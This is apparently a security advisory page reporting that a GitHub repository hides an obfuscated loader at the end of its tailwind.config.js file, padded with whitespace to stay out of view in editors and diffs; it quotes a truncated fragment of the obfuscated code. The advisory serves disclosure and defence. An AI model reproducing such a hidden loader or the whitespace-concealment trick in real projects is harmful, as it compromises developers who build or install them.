GCVE-110-OSM-2026-12015

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 6, 2026

DevHassan101/frios-hassan-pop hides a loader at the end of a build configuration file, behind enough blank space to keep it off screen and out of a diff. - Appends a loader to a build or configuration file, pushed past hundreds of spaces so it sits off the right edge of an editor and out of a diff. File: tailwind.config.js Observed: global.i="A9-3517" Observed: global.i="A9-3517";const _0x3a2ebe=_0x355e;(function(_0x48f9d7,_0x1a07be){const _0x4e7ab0=_0x355e,_0x39127c=_0x48f9d7();w _0x3a2ebe

Download JSON Open in Console

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown		all (affected)	—

References

Malicious repository: https://github.com/DevHassan101/frios-hassan-pop

advisory

Browse GCVE Records

379 records in the GCVE database · Updated September 12, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

Open in Console Download JSON